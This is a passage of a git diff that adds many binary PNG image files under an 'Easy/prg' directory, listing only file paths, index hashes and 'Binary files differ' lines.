a/Easy/prg/51_017.png b/Easy/prg/51_017.png new file mode 100644 index 0000000..e5fbff4 Binary files /dev/null and b/Easy/prg/51_017.png differ diff --git a/Easy/prg/51_018.png b/Easy/prg/51_018.png new file mode 100644 index 0000000..398247f Binary files /dev/null and b/Easy/prg/51_018.png differ diff --git a/Easy/prg/51_019.png b/Easy/prg/51_019.png new file mode 100644 index 0000000..8f3d0fd Binary files /dev/null and b/Easy/prg/51_019.png differ diff --git a/Easy/prg/51_020.png b/Easy/prg/51_020.png new file mode 100644 index 0000000..dc8836c Binary files /dev/null and b/Easy/prg/51_020.png differ diff --git a/Easy/prg/52_001.png b/Easy/prg/52_001.png new file mode 100644 index 0000000..cfcbc09 Binary files /dev/null and b/Easy/prg/52_001.png differ diff --git a/Easy/prg/52_002.png b/Easy/prg/52_002.png new file mode 100644 index 0000000..fb62b24 Binary files /dev/null and b/Easy/prg/52_002.png differ diff --git a/Easy/prg/52_003.png b/Easy/prg/52_003.png new file mode 100644 index 0000000..756b6b6 Binary files /dev/null and b/Easy/prg/52_003.png differ diff --git a/Easy/prg/52_004.png b/Easy/prg/52_004.png new file mode 100644 index 0000000..d8dfa6b Binary files /dev/null and b/Easy/prg/52_004.png differ diff --git a/Easy/prg/52_005.png b/Easy/prg/52_005.png new file mode 100644 index 0000000..8d7b19c Binary files /dev/null and b/Easy/prg/52_005.png differ diff --git a/Easy/prg/52_006.png b/Easy/prg/52_006.png new file mode 100644 index 0000000..123ca67 Binary files /dev/null and b/Easy/prg/52_006.png differ diff --git a/Easy/prg/52_007.png b/Easy/prg/52_007.png new file mode 100644 index 0000000..940c80a Binary files /dev/null and b/Easy/prg/52_007.png differ diff --git a/Easy/prg/52_008.png b/Easy/prg/52_008.png new file mode 100644 index 0000000..df42a99 Binary files /dev/null and b/Easy/prg/52_008.png differ diff --git a/Easy/prg/52_009.png b/Easy/prg/52_009.png new file mode 100644 index 0000000..862e205 Binary files /dev/null and b/Easy/prg/52_009.png differ diff --git a/Easy/prg/52_010.png b/Easy/prg/52_010.png new file mode 100644 index 0000000..1caacdb Binary files /dev/null and b/Easy/prg/52_010.png differ diff --git a/Easy/prg/52_011.png b/Easy/prg/52_011.png new file mode 100644 index 0000000..cb94935 Binary files /dev/null and b/Easy/prg/52_011.png differ diff --git a/Easy/prg/52_012.png b/Easy/prg/52_012.png new file mode 100644 index 0000000..2514e9b Binary files /dev/null and b/Easy/prg/52_012.png differ diff --git a/Easy/prg/52_013.png b/Easy/prg/52_013.png new file mode 100644 index 0000000..9f14033 Binary files /dev/null and b/Easy/prg/52_013.png differ diff --git a/Easy/prg/53_001.png b/Easy/prg/53_001.png new file mode 100644 index 0000000..59aff5a Binary files /dev/null and b/Easy/prg/53_001.png differ diff --git a/Easy/prg/53_002.png b/Easy/prg/53_002.png new file mode 100644 index 0000000..86c9746 Binary files /dev/null and b/Easy/prg/53_002.png differ diff --git a/Easy/prg/53_003.png b/Easy/prg/53_003.png new file mode 100644 index 0000000..f7733e9 Binary files /dev/null and b/Easy/prg/53_003.png differ diff --git a/Easy/prg/53_004.png b/Easy/prg/53_004.png new file mode 100644 index 0000000..2887a14 Binary files /dev/null and b/Easy/prg/53_004.png differ diff --git a/Easy/prg/53_005.png b/Easy/prg/53_005.png new file mode 100644 index 0000000..6a51622 Binary files /dev/null and b/Easy/prg/53_005.png differ diff --git a/Easy/prg/53_006.png b/Easy/prg/53_006.png new file mode 100644 index 0000000..ceb0800 Binary files /dev/null and b/Easy/prg/53_006.png differ diff --git a/Easy/prg/53_007.png b/Easy/prg/53_007.png new file mode 100644 index 0000000..76038e9 Binary files /dev/null and b/Easy/prg/53_007.png differ diff --git a/Easy/prg/53_008.png b/Easy/prg/53_008.png new file mode 100644 index 0000000..8274358 Binary files /dev/null and b/Easy/prg/53_008.png differ diff --git a/Easy/prg/53_009.png b/Easy/prg/53_009.png new file mode 100644 index 0000000..65aa025 Binary files /dev/null and b/Easy/prg/53_009.png differ diff --git a/Easy/prg/53_010.png b/Easy/prg/53_010.png new file mode 100644 index 0000000..76c3ab4 Binary files /dev/null and b/Easy/prg/53_010.png differ diff --git a/Easy/prg/53_011.png b/Easy/prg/53_011.png new file mode 100644 index 0000000..2fc5bc9 Binary files /dev/null and b/Easy/prg/53_011.png differ diff --git a/Easy/prg/53_012.png b/Easy/prg/53_012.png new file mode 100644 index 0000000..e0550ad Binary files /dev/null and b/Easy/prg/53_012.png differ diff --git a/Easy/prg/53_013.png b/Easy/prg/53_013.png new file mode 100644 index 0000000..c088f94 Binary files /dev/null and b/Easy/prg/53_013.png differ diff --git a/Easy/prg/53_014.png b/Easy/prg/53_014.png new file mode 100644 index 0000000..4f600ff Binary files /dev/null and b/Easy/prg/53_014.png differ diff --git a/Easy/prg/53_015.png b/Easy/prg/53_015.png new file mode 100644 index 0000000..df398fd Binary files /dev/null and b/Easy/prg/53_015.png differ diff --git a/Easy/prg/53_016.png b/Easy/prg/53_016.png new file mode 100644 index 0000000..666485c Binary files /dev/null and b/Easy/prg/53_016.png differ diff --git a/Easy/prg/53_017.png b/Easy/prg/53_017.png new file mode 100644 index 0000000..0e6b7c2 Binary files /dev/null and b/Easy/prg/53_017.png differ diff --git a/Easy/prg/53_018.png b/Easy/prg/53_018.png new file mode 100644 index 0000000..7ace34c Binary files /dev/null and b/Easy/prg/53_018.png differ diff --git a/Easy/prg/53_019.png b/Easy/prg/53_019.png new file mode 100644 index 0000000..19dad25 Binary files /dev/null and b/Easy/prg/53_019.png differ diff --git a/Easy/prg/54_001.png b/Easy/prg/54_001.png new file mode 100644 index 0000000..62a98ec Binary files /dev/null and b/Easy/prg/54_001.png differ diff --git a/Easy/prg/54_002.png b/Easy/prg/54_002.png new file mode 100644 index 0000000..9d572e8 Binary files /dev/null and b/Easy/prg/54_002.png differ diff --git a/Easy/prg/54_003.png b/Easy/prg/54_003.png new file mode 100644 index 0000000..98bacec Binary files /dev/null and b/Easy/prg/54_003.png differ diff --git a/Easy/prg/54_004.png b/Easy/prg/54_004.png new file mode 100644 index 0000000..cabd8e7 Binary files /dev/null and b/Easy/prg/54_004.png differ diff --git a/Easy/prg/54_005.png b/Easy/prg/54_005.png new file mode 100644 index 0000000..d0fa59b Binary files /dev/null and b/Easy/prg/54_005.png differ diff --git a/Easy/prg/54_006.png b/Easy/prg/54_006.png new file mode 100644 index 0000000..e1eff3e Binary files /dev/null and b/Easy/prg/54_006.png differ diff --git a/Easy/prg/54_007.png b/Easy/prg/54_007.png new file mode 100644 index 0000000..a7625ff Binary files /dev/null and b/Easy/prg/54_007.png differ diff --git a/Easy/prg/54_008.png b/Easy/prg/54_008.png new file mode 100644 index 0000000..50225d8 Binary files /dev/null and b/Easy/prg/54_008.png differ diff --git a/Easy/prg/54_009.png b/Easy/prg/54_009.png new file mode 100644 index 0000000..368957e Binary files /dev/null and b/Easy/prg/54_009.png differ diff --git a/Easy/prg/54_010.png b/Easy/prg/54_010.png new file mode 100644 index 0000000..8aece01 Binary files /dev/null and b/Easy/prg/54_010.png differ diff --git a/Easy/prg/54_011.png b/Easy/prg/54_011.png new file mode 100644 index 0000000..6e4931d Binary files /dev/null and b/Easy/prg/54_011.png differ diff --git a/Easy/prg/54_012.png b/Easy/prg/54_012.png new file mode 100644 index 0000000..0ea7b23 Binary files /dev/null and b/Easy/prg/54_012.png differ diff --git a/Easy/prg/54_013.png b/Easy/prg/54_013.png new file mode 100644 index 0000000..8d0bda4 Binary files /dev/null and b/Easy/prg/54_013.png differ diff --git a/Easy/prg/54_014.png b/Easy/prg/54_014.png new file mode 100644 index 0000000..6e857fa Binary files /dev/null and b/Easy/prg/54_014.png differ diff --git a/Easy/prg/54_015.png b/Easy/prg/54_015.png new file mode 100644 index 0000000..7afadd6 Binary files /dev/null and b/Easy/prg/54_015.png differ diff --git a/Easy/prg/54_016.png b/Easy/prg/54_016.png new file mode 100644 index 0000000..d3d7d70 Binary files /dev/null and b/Easy/prg/54_016.png differ diff --git a/Easy/prg/54_017.png b/Easy/prg/54_017.png new file mode 100644 index 0000000..a00794d Binary files /dev/null and b/Easy/prg/54_017.png differ diff --git a/Easy/prg/54_018.png b/Easy/prg/54_018.png new file mode 100644 index 0000000..4b45366 Binary files /dev/null and b/Easy/prg/54_018.png differ diff --git a/Easy/prg/54_019.png b/Easy/prg/54_019.png new file mode 100644 index 0000000..224b320 Binary files /dev/null and b/Easy/prg/54_019.png differ diff --git a/Easy/prg/55_001.png b/Easy/prg/55_001.png new file mode 100644 index 0000000..a318676 Binary files /dev/null and b/Easy/prg/55_001.png differ diff --git a/Easy/prg/55_002.png b/Easy/prg/55_002.png new file mode 100644 index 0000000..c2acf67 Binary files /dev/null and b/Easy/prg/55_002.png differ diff --git a/Easy/prg/55_003.png b/Easy/prg/55_003.png new file mode 100644 index 0000000..1f58e54 Binary files /dev/null and b/Easy/prg/55_003.png differ diff --git a/Easy/prg/55_004.png b/Easy/prg/55_004.png new file mode 100644 index 0000000..58cdee4 Binary files /dev/null and b/Easy/prg/55_004.png differ diff --git a/Easy/prg/55_005.png b/Easy/prg/55_005.png new file mode 100644 index 0000000..bb02a4e Binary files /dev/null and b/Easy/prg/55_005.png differ diff --git a/Easy/prg/55_006.png b/Easy/prg/55_006.png new file mode 100644 index 0000000..34f5a16 Binary files /dev/null and b/Easy/prg/55_006.png differ diff --git a/Easy/prg/55_007.png b/Easy/prg/55_007.png new file mode 100644 index 0000000..79a67f8 Binary files /dev/null and b/Easy/prg/55_007.png differ diff --git a/Easy/prg/55_008.png b/Easy/prg/55_008.png new file mode 100644 index 0000000..c4cf7c1 Binary files /dev/null and b/Easy/prg/55_008.png differ diff --git a/Easy/prg/55_009.png b/Easy/prg/55_009.png new file mode 100644 index 0000000..0df0c8c Binary files /dev/null and b/Easy/prg/55_009.png differ diff --git a/Easy/prg/55_010.png b/Easy/prg/55_010.png new file mode 100644 index 0000000..8522a73 Binary files /dev/null and b/Easy/prg/55_010.png differ diff --git a/Easy/prg/55_011.png b/Easy/prg/55_011.png new file mode 100644 index 0000000..fd3eec5 Binary files /dev/null and b/Easy/prg/55_011.png differ diff --git a/Easy/prg/55_012.png b/Easy/prg/55_012.png new file mode 100644 index 0000000..6033377 Binary files /dev/null and b/Easy/prg/55_012.png differ diff --git a/Easy/prg/55_013.png b/Easy/prg/55_013.png new file mode 100644 index 0000000..19f007a Binary files /dev/null and b/Easy/prg/55_013.png differ diff --git a/Easy/prg/55_014.png b/Easy/prg/55_014.png new file mode 100644 index 0000000..04df48d Binary files /dev/null and b/Easy/prg/55_014.png differ diff --git a/Easy/prg/55_015.png b/Easy/prg/55_015.png new file mode 100644 index 0000000..b006f83 Binary files /dev/null and b/Easy/prg/55_015.png differ diff --git a/Easy/prg/55_016.png b/Easy/prg/55_016.png new file mode 100644 index 0000000..0f2ddb7 Binary files /dev/null and b/Easy/prg/55_016.png differ diff --git a/Easy/prg/55_017.png b/Easy/prg/55_017.png new file mode 100644 index 0000000..e349e73 Binary files /dev/null and b/Easy/prg/55_017.png differ diff --git a/Easy/prg/56_001.png b/Easy/prg/56_001.png new file mode 100644 index 0000000..704250f Binary files /dev/null and b/Easy/prg/56_001.png differ diff --git a/Easy/prg/56_002.png b/Easy/prg/56_002.png new file mode 100644 index 0000000..6e6ce07 Binary files /dev/null and b/Easy/prg/56_002.png differ diff --git a/Easy/prg/56_003.png b/Easy/prg/56_003.png new file mode 100644 index 0000000..1ac7272 Binary files /dev/null and b/Easy/prg/56_003.png differ diff --git a/Easy/prg/56_004.png b/Easy/prg/56_004.png new file mode 100644 index 0000000..56c6517 Binary files /dev/null and b/Easy/prg/56_004.png differ diff --git a/Easy/prg/56_005.png b/Easy/prg/56_005.png new file mode 100644 index 0000000..c1f7120 Binary files /dev/null and b/Easy/prg/56_005.png differ diff --git a/Easy/prg/56_006.png b/Easy/prg/56_006.png new file mode 100644 index 0000000..8b45fc2 Binary files /dev/null and b/Easy/prg/56_006.png differ diff --git a/Easy/prg/57_001.png b/Easy/prg/57_001.png new file mode 100644 index 0000000..9a1ffc3 Binary files /dev/null and b/Easy/prg/57_001.png differ diff --git a/Easy/prg/57_002.png b/Easy/prg/57_002.png new file mode 100644 index 0000000..b609c3d Binary files /dev/null and b/Easy/prg/57_002.png differ diff --git a/Easy/prg/57_003.png b/Easy/prg/57_003.png new file mode 100644 index 0000000..9620b36 Binary files /dev/null and b/Easy/prg/57_003.png differ diff --git a/Easy/prg/57_004.png b/Easy/prg/57_004.png new file mode 100644 index 0000000..357e043 Binary files /dev/null and b/Easy/prg/57_004.png differ diff --git a/Easy/prg/58_001.png b/Easy/prg/58_001.png new file mode 100644 index 0000000..1918881 Binary files /dev/null and b/Easy/prg/58_001.png differ diff --git a/Easy/prg/58_002.png b/Easy/prg/58_002.png new file mode 100644 index 0000000..9f3b96b Binary files /dev/null and b/Easy/prg/58_002.png differ diff --git a/Easy/prg/58_003.png b/Easy/prg/58_003.png new file mode 100644 index 0000000..10eeb7b Binary files /dev/null and b/Easy/prg/58_003.png differ diff --git a/Easy/prg/58_004.png b/Easy/prg/58_004.png new file mode 100644 index 0000000..81954f7 Binary files /dev/null and b/Easy/prg/58_004.png differ diff --git a/Easy/prg/58_005.png b/Easy/prg/58_005.png new file mode 100644 index 0000000..bbee00e Binary files /dev/null and b/Easy/prg/58_005.png differ diff --git a/Easy/prg/58_006.png b/Easy/prg/58_006.png new file mode 100644 index 0000000..b7a9564 Binary files /dev/null and b/Easy/prg/58_006.png differ diff --git a/Easy/prg/58_007.png b/Easy/prg/58_007.png new file mode 100644 index 0000000..55a7537 Binary files /dev/null and b/Easy/prg/58_007.png differ diff --git a/Easy/prg/59_001.png b/Easy/prg/59_001.png new file mode 100644 index 0000000..7537016 Binary files /dev/null and b/Easy/prg/59_001.png differ diff --git a/Easy/prg/59_002.png b/Easy/prg/59_002.png new file mode 100644 index 0000000..74cc148 Binary files /dev/null and b/Easy/prg/59_002.png differ diff --git a/Easy/prg/59_003.png b/Easy/prg/59_003.png new file mode 100644 index 0000000..ea087c7 Binary files /dev/null and b/Easy/prg/59_003.png differ diff --git a/Easy/prg/59_004.png b/Easy/prg/59_004.png new file mode 100644 index 0000000..cb29c23 Binary files /dev/null and b/Easy/prg/59_004.png differ diff --git a/Easy/prg/59_005.png b/Easy/prg/59_005.png new file mode 100644 index 0000000..5cf9d3b Binary files /dev/null and b/Easy/prg/59_005.png differ diff --git a/Easy/prg/59_006.png b/Easy/prg/59_006.png new file mode 100644 index 0000000..ca45304 Binary files /dev/null and b/Easy/prg/59_006.png differ diff --git a/Easy/prg/5_001.png b/Easy/prg/5_001.png new file mode 100644 index 0000000..a3712dd Binary files /dev/null and b/Easy/prg/5_001.png differ diff --git a/Easy/prg/5_002.png b/Easy/prg/5_002.png new file mode 100644 index 0000000..f5aab23 Binary files /dev/null and b/Easy/prg/5_002.png differ diff --git a/Easy/prg/60_001.png b/Easy/prg/60_001.png new file mode 100644 index 0000000..fe8c8e1 Binary files /dev/null and b/Easy/prg/60_001.png differ diff --git a/Easy/prg/60_002.png b/Easy/prg/60_002.png new file mode 100644 index 0000000..8831b8b Binary files /dev/null and b/Easy/prg/60_002.png differ diff --git a/Easy/prg/60_003.png b/Easy/prg/60_003.png new file mode 100644 index 0000000..3d7b471 Binary files /dev/null and b/Easy/prg/60_003.png differ diff --git a/Easy/prg/60_004.png b/Easy/prg/60_004.png new file mode 100644 index 0000000..df41cb1 Binary files /dev/null and b/Easy/prg/60_004.png differ diff --git a/Easy/prg/60_005.png b/Easy/prg/60_005.png new file mode 100644 index 0000000..aa150c9 Binary files /dev/null and b/Easy/prg/60_005.png differ diff --git a/Easy/prg/60_006.png b/Easy/prg/60_006.png new file mode 100644 index 0000000..8f210f0 Binary files /dev/null and b/Easy/prg/60_006.png differ diff --git a/Easy/prg/60_007.png b/Easy/prg/60_007.png new file mode 100644 index 0000000..09510a6 Binary files /dev/null and b/Easy/prg/60_007.png differ diff --git a/Easy/prg/60_008.png b/Easy/prg/60_008.png new file mode 100644 index 0000000..71d3e30 Binary files /dev/null and b/Easy/prg/60_008.png differ diff --git a/Easy/prg/60_009.png b/Easy/prg/60_009.png new file mode 100644 index 0000000..1ae7fef Binary files /dev/null and b/Easy/prg/60_009.png differ diff --git a/Easy/prg/60_010.png b/Easy/prg/60_010.png new file mode 100644 index 0000000..8fe97ef Binary files /dev/null and b/Easy/prg/60_010.png differ diff --git a/Easy/prg/61_001.png b/Easy/prg/61_001.png new file mode 100644 index 0000000..88a15cf Binary files /dev/null and b/Easy/prg/61_001.png differ diff --git a/Easy/prg/61_002.png b/Easy/prg/61_002.png new file mode 100644 index 0000000..a0599f4 Binary files /dev/null and b/Easy/prg/61_002.png differ diff --git a/Easy/prg/61_003.png b/Easy/prg/61_003.png new file mode 100644 index 0000000..6fac5f3 Binary files /dev/null and b/Easy/prg/61_003.png differ diff --git a/Easy/prg/61_004.png b/Easy/prg/61_004.png new file mode 100644 index 0000000..f18fc88 Binary files /dev/null and b/Easy/prg/61_004.png differ diff --git a/Easy/prg/61_005.png b/Easy/prg/61_005.png new file mode 100644 index 0000000..31d1527 Binary files /dev/null and b/Easy/prg/61_005.png differ diff --git a/Easy/prg/61_006.png b/Easy/prg/61_006.png new file mode 100644 index 0000000..a3a6ccf Binary files /dev/null and b/Easy/prg/61_006.png differ diff --git a/Easy/prg/61_007.png b/Easy/prg/61_007.png new file mode 100644 index 0000000..fa90ad6 Binary files /dev/null and b/Easy/prg/61_007.png differ diff --git a/Easy/prg/61_008.png b/Easy/prg/61_008.png new file mode 100644 index 0000000..5af2ce2 Binary files /dev/null and b/Easy/prg/61_008.png differ diff --git a/Easy/prg/61_009.png b/Easy/prg/61_009.png new file mode 100644 index 0000000..0cfd3e5 Binary files /dev/null and b/Easy/prg/61_009.png differ diff --git a/Easy/prg/61_010.png b/Easy/prg/61_010.png new file mode 100644 index 0000000..ca68577 Binary files /dev/null and b/Easy/prg/61_010.png differ diff --git a/Easy/prg/61_011.png b/Easy/prg/61_011.png new file mode 100644 index 0000000..1642b9a Binary files /dev/null and b/Easy/prg/61_011.png differ diff --git a/Easy/prg/61_012.png b/Easy/prg/61_012.png new file mode 100644 index 0000000..b1c55a7 Binary files /dev/null and b/Easy/prg/61_012.png differ diff --git a/Easy/prg/61_013.png b/Easy/prg/61_013.png new file mode 100644 index 0000000..e074dc3 Binary files /dev/null and b/Easy/prg/61_013.png differ diff --git a/Easy/prg/61_014.png b/Easy/prg/61_014.png new file mode 100644 index 0000000..fb3bb76 Binary files /dev/null and b/Easy/prg/61_014.png differ diff --git a/Easy/prg/62_001.png b/Easy/prg/62_001.png new file mode 100644 index 0000000..080738c Binary files /dev/null and b/Easy/prg/62_001.png differ diff --git a/Easy/prg/62_002.png b/Easy/prg/62_002.png new file mode 100644 index 0000000..c48b7f3 Binary files /dev/null and b/Easy/prg/62_002.png differ diff --git a/Easy/prg/62_003.png b/Easy/prg/62_003.png new file mode 100644 index 0000000..ea6bfe1 Binary files /dev/null and b/Easy/prg/62_003.png differ diff --git a/Easy/prg/62_004.png b/Easy/prg/62_004.png new file mode 100644 index 0000000..856865e Binary files /dev/null and b/Easy/prg/62_004.png differ diff --git a/Easy/prg/63_001.png b/Easy/prg/63_001.png new file mode 100644 index 0000000..93c898f Binary files /dev/null and b/Easy/prg/63_001.png differ diff --git a/Easy/prg/63_002.png b/Easy/prg/63_002.png new file mode 100644 index 0000000..a34e2e0 Binary files /dev/null and b/Easy/prg/63_002.png differ diff --git a/Easy/prg/63_003.png b/Easy/prg/63_003.png new file mode 100644 index 0000000..2d101fc Binary files /dev/null and b/Easy/prg/63_003.png differ diff --git a/Easy/prg/64_001.png b/Easy/prg/64_001.png new file mode 100644 index 0000000..8eabea9 Binary files /dev/null and b/Easy/prg/64_001.png differ diff --git a/Easy/prg/64_002.png b/Easy/prg/64_002.png new file mode 100644 index 0000000..2e2651e Binary files /dev/null and b/Easy/prg/64_002.png differ diff --git a/Easy/prg/64_003.png b/Easy/prg/64_003.png new file mode 100644 index 0000000..cd7074f Binary files /dev/null and b/Easy/prg/64_003.png differ diff --git a/Easy/prg/64_004.png b/Easy/prg/64_004.png new file mode 100644 index 0000000..35f04a7 Binary files /dev/null and b/Easy/prg/64_004.png differ diff --git a/Easy/prg/64_005.png b/Easy/prg/64_005.png new file mode 100644 index 0000000..34d1a24 Binary files /dev/null and b/Easy/prg/64_005.png differ diff --git a/Easy/prg/64_006.png b/Easy/prg/64_006.png new file mode 100644 index 0000000..582cf08 Binary files /dev/null and b/Easy/prg/64_006.png differ diff --git a/Easy/prg/64_007.png b/Easy/prg/64_007.png new file mode 100644 index 0000000..3444ba9 Binary files /dev/null and b/Easy/prg/64_007.png differ diff --git a/Easy/prg/64_008.png b/Easy/prg/64_008.png new file mode 100644 index 0000000..b421d78 Binary files /dev/null and b/Easy/prg/64_008.png differ diff --git a/Easy/prg/64_009.png b/Easy/prg/64_009.png new file mode 100644 index 0000000..32a9bef Binary files /dev/null and b/Easy/prg/64_009.png differ diff --git a/Easy/prg/64_010.png b/Easy/prg/64_010.png new file mode 100644 index 0000000..4cfd20f Binary files /dev/null and b/Easy/prg/64_010.png differ diff --git a/Easy/prg/64_011.png b/Easy/prg/64_011.png new file mode 100644 index 0000000..09b99b6 Binary files /dev/null and b/Easy/prg/64_011.png differ diff --git a/Easy/prg/64_012.png b/Easy/prg/64_012.png new file mode 100644 index 0000000..7451ed5 Binary files /dev/null and b/Easy/prg/64_012.png differ diff --git a/Easy/prg/64_013.png b/Easy/prg/64_013.png new file mode 100644 index 0000000..e816e2a Binary files /dev/null and b/Easy/prg/64_013.png differ diff --git a/Easy/prg/64_014.png b/Easy/prg/64_014.png new file mode 100644 index 0000000..d002db2 Binary files /dev/null and b/Easy/prg/64_014.png differ diff --git a/Easy/prg/64_015.png b/Easy/prg/64_015.png new file mode 100644 index 0000000..48c79e2 Binary files /dev/null and b/Easy/prg/64_015.png differ diff --git a/Easy/prg/64_016.png b/Easy/prg/64_016.png new file mode 100644 index 0000000..ffa2420 Binary files /dev/null and b/Easy/prg/64_016.png differ diff --git a/Easy/prg/64_017.png b/Easy/prg/64_017.png new file mode 100644 index 0000000..643da18 Binary files /dev/null and b/Easy/prg/64_017.png differ diff --git a/Easy/prg/64_018.png b/Easy/prg/64_018.png new file mode 100644 index 0000000..a7c3a86 Binary files /dev/null and b/Easy/prg/64_018.png differ diff --git a/Easy/prg/64_019.png b/Easy/prg/64_019.png new file mode 100644 index 0000000..f71bc4c Binary files /dev/null and b/Easy/prg/64_019.png differ diff --git a/Easy/prg/65_001.png b/Easy/prg/65_001.png new file mode 100644 index 0000000..f28e465 Binary files /dev/null and b/Easy/prg/65_001.png differ diff --git a/Easy/prg/65_002.png b/Easy/prg/65_002.png new file mode 100644 index 0000000..6d64e5a Binary files /dev/null and b/Easy/prg/65_002.png differ diff --git a/Easy/prg/65_003.png b/Easy/prg/65_003.png new file mode 100644 index 0000000..65ce542 Binary files /dev/null and b/Easy/prg/65_003.png differ diff --git a/Easy/prg/65_004.png b/Easy/prg/65_004.png new file mode 100644 index 0000000..43b07db Binary files /dev/null and b/Easy/prg/65_004.png differ diff --git a/Easy/prg/65_005.png b/Easy/prg/65_005.png new file mode 100644 index 0000000..dd083a0 Binary files /dev/null and b/Easy/prg/65_005.png differ diff --git a/Easy/prg/65_006.png b/Easy/prg/65_006.png new file mode 100644 index 0000000..de715f3 Binary files /dev/null and b/Easy/prg/65_006.png differ diff --git a/Easy/prg/65_007.png b/Easy/prg/65_007.png new file mode 100644 index 0000000..b3b6e38 Binary files /dev/null and b/Easy/prg/65_007.png differ diff --git a/Easy/prg/65_008.png b/Easy/prg/65_008.png new file mode 100644 index 0000000..3521937 Binary files /dev/null and b/Easy/prg/65_008.png differ diff --git a/Easy/prg/65_009.png b/Easy/prg/65_009.png new file mode 100644 index 0000000..534f9a6 Binary files /dev/null and b/Easy/prg/65_009.png differ diff --git a/Easy/prg/65_010.png b/Easy/prg/65_010.png new file mode 100644 index 0000000..113f62d Binary files /dev/null and b/Easy/prg/65_010.png differ diff --git a/Easy/prg/65_011.png b/Easy/prg/65_011.png new file mode 100644 index 0000000..965c049 Binary files /dev/null and b/Easy/prg/65_011.png differ diff --git a/Easy/prg/66_001.png b/Easy/prg/66_001.png new file mode 100644 index 0000000..5b42699 Binary files /dev/null and b/Easy/prg/66_001.png differ diff --git a/Easy/prg/66_002.png b/Easy/prg/66_002.png new file mode 100644 index 0000000..54bae55 Binary files /dev/null and b/Easy/prg/66_002.png differ diff --git a/Easy/prg/66_003.png b/Easy/prg/66_003.png new file mode 100644 index 0000000..16c6543 Binary files /dev/null and b/Easy/prg/66_003.png differ diff --git a/Easy/prg/66_004.png b/Easy/prg/66_004.png new file mode 100644 index 0000000..ca355e2 Binary files /dev/null and b/Easy/prg/66_004.png differ diff --git a/Easy/prg/66_005.png b/Easy/prg/66_005.png new file mode 100644 index 0000000..b6abc50 Binary files /dev/null and b/Easy/prg/66_005.png differ diff --git a/Easy/prg/66_006.png b/Easy/prg/66_006.png new file mode 100644 index 0000000..de00aa7 Binary files /dev/null and b/Easy/prg/66_006.png differ diff --git a/Easy/prg/66_007.png b/Easy/prg/66_007.png new file mode 100644 index 0000000..1c8b7b8 Binary files /dev/null and b/Easy/prg/66_007.png differ diff --git a/Easy/prg/66_008.png b/Easy/prg/66_008.png new file mode 100644 index 0000000..25ca51a Binary files /dev/null and b/Easy/prg/66_008.png differ diff --git a/Easy/prg/66_009.png b/Easy/prg/66_009.png new file mode 100644 index 0000000..9c9f2f5 Binary files /dev/null and b/Easy/prg/66_009.png differ diff --git a/Easy/prg/67_001.png b/Easy/prg/67_001.png new file mode 100644 index 0000000..a438d5c Binary files /dev/null and b/Easy/prg/67_001.png differ diff --git a/Easy/prg/67_002.png b/Easy/prg/67_002.png new file mode 100644 index 0000000..325c4b3 Binary files /dev/null and b/Easy/prg/67_002.png differ diff --git a/Easy/prg/68_001.png b/Easy/prg/68_001.png new file mode 100644 index 0000000..1107c31 Binary files /dev/null and b/Easy/prg/68_001.png differ diff --git a/Easy/prg/68_002.png b/Easy/prg/68_002.png new file mode 100644 index 0000000..1696ac4 Binary files /dev/null and b/Easy/prg/68_002.png differ diff --git a/Easy/prg/68_003.png b/Easy/prg/68_003.png new file mode 100644 index 0000000..c31441c Binary files /dev/null and b/Easy/prg/68_003.png differ diff --git a/Easy/prg/68_004.png b/Easy/prg/68_004.png new file mode 100644 index 0000000..6c72894 Binary files /dev/null and b/Easy/prg/68_004.png differ diff --git a/Easy/prg/68_005.png b/Easy/prg/68_005.png new file mode 100644 index 0000000..e319863 Binary files /dev/null and b/Easy/prg/68_005.png differ diff --git a/Easy/prg/68_006.png b/Easy/prg/68_006.png new file mode 100644 index 0000000..ca305f6 Binary files /dev/null and b/Easy/prg/68_006.png differ diff --git a/Easy/prg/68_007.png b/Easy/prg/68_007.png new file mode 100644 index 0000000..6beccb8 Binary files /dev/null and b/Easy/prg/68_007.png differ diff --git a/Easy/prg/68_008.png b/Easy/prg/68_008.png new file mode 100644 index 0000000..f5d372b Binary files /dev/null and b/Easy/prg/68_008.png differ diff --git a/Easy/prg/68_009.png b/Easy/prg/68_009.png new file mode 100644 index 0000000..0cd0cfc Binary files /dev/null and b/Easy/prg/68_009.png differ diff --git a/Easy/prg/69_001.png b/Easy/prg/69_001.png new file mode 100644 index 0000000..8ec58ef Binary files /dev/null and b/Easy/prg/69_001.png differ diff --git a/Easy/prg/69_002.png b/Easy/prg/69_002.png new file mode 100644 index 0000000..0c8fd19 Binary files /dev/null and b/Easy/prg/69_002.png differ diff --git a/Easy/prg/6_001.png b/Easy/prg/6_001.png new file mode 100644 index 0000000..9d65280 Binary files /dev/null and b/Easy/prg/6_001.png differ diff --git a/Easy/prg/6_002.png b/Easy/prg/6_002.png new file mode 100644 index 0000000..b534088 Binary files /dev/null and b/Easy/prg/6_002.png differ diff --git a/Easy/prg/6_003.png b/Easy/prg/6_003.png new file mode 100644 index 0000000..a9d5292 Binary files /dev/null and b/Easy/prg/6_003.png differ diff --git a/Easy/prg/6_004.png b/Easy/prg/6_004.png new file mode 100644 index 0000000..b420fc8 Binary files /dev/null and b/Easy/prg/6_004.png differ diff --git a/Easy/prg/6_005.png b/Easy/prg/6_005.png new file mode 100644 index 0000000..5b465ac Binary files /dev/null and b/Easy/prg/6_005.png differ diff --git a/Easy/prg/6_006.png b/Easy/prg/6_006.png new file mode 100644 index 0000000..1ac2f3e Binary files /dev/null and b/Easy/prg/6_006.png differ diff --git a/Easy/prg/6_007.png b/Easy/prg/6_007.png new file mode 100644 index 0000000..0e69668 Binary files /dev/null and b/Easy/prg/6_007.png differ diff --git a/Easy/prg/6_008.png b/Easy/prg/6_008.png new file mode 100644 index 0000000..7e0aafb Binary files /dev/null and b/Easy/prg/6_008.png differ diff --git a/Easy/prg/6_009.png b/Easy/prg/6_009.png new file mode 100644 index 0000000..e5c7d58 Binary files /dev/null and b/Easy/prg/6_009.png differ diff --git a/Easy/prg/6_010.png b/Easy/prg/6_010.png new file mode 100644 index 0000000..32972d8 Binary files /dev/null and b/Easy/prg/6_010.png differ diff --git a/Easy/prg/70_001.png b/Easy/prg/70_001.png new file mode 100644 index 0000000..44e71cb Binary files /dev/null and b/Easy/prg/70_001.png differ diff --git a/Easy/prg/70_002.png b/Easy/prg/70_002.png new file mode 100644 index 0000000..b41d82c Binary files /dev/null and b/Easy/prg/70_002.png differ diff --git a/Easy/prg/70_003.png b/Easy/prg/70_003.png new file mode 100644 index 0000000..a21519e Binary files /dev/null and b/Easy/prg/70_003.png differ diff --git a/Easy/prg/70_004.png b/Easy/prg/70_004.png new file mode 